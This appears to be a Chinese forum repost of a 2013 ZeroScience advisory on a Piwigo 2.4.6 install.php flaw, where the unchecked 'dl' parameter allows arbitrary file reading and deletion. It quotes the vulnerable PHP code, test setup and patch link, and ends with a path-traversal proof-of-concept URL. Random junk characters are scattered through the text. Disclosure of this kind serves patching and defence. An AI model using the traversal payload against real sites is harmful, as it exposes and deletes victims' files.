Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
# Z. [7 A* d8 y! c3 B
; |, A/ a. l1 Z. a: u% tPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
' p( t2 c7 h0 H4 {, R) I====================================================================
" `) J- u9 j4 ]. f/install.php:
-------------
" w; S, [' D8 F113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
9 o# K' h( V9 y; X4 Q" _116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
" N* u1 m$ ^4 E; U* D- r$ }1 i* P3 C119:   header('Content-Transfer-Encoding: binary');
! K& p- T6 Q8 @3 f6 r120:   header('Content-Length: '.filesize($filename));
7 [+ j) {( t" Y, L$ O* j3 R121:   echo file_get_contents($filename);
* y6 H+ ?# j# G5 q  J122:   unlink($filename);
123:   exit();
124: }
====================================================================
4 v5 s' v! [8 a5 b* ^, Z7 H
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

3 U# w4 F- }6 B- V/ vVulnerability discovered by Gjoko 'LiquidWorm' Krstic
# E3 w. B' v5 g6 w" F                            @zeroscience

2 F2 J9 B; [6 u. |2 Z# HAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
1 v' r" O  {) ?  e( rVendor Patch: http://piwigo.org/bugs/view.php?id=2843

( b) s5 q! O; [4 t15.02.2013
& R. j9 w( l1 }+ F3 z$ T
--
1 r) q1 Q+ J: W/ U, l; V3 m( Qhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
6 b6 f' h7 r8 f! P6 @' R
: p" |  t3 X) D0 Y/ o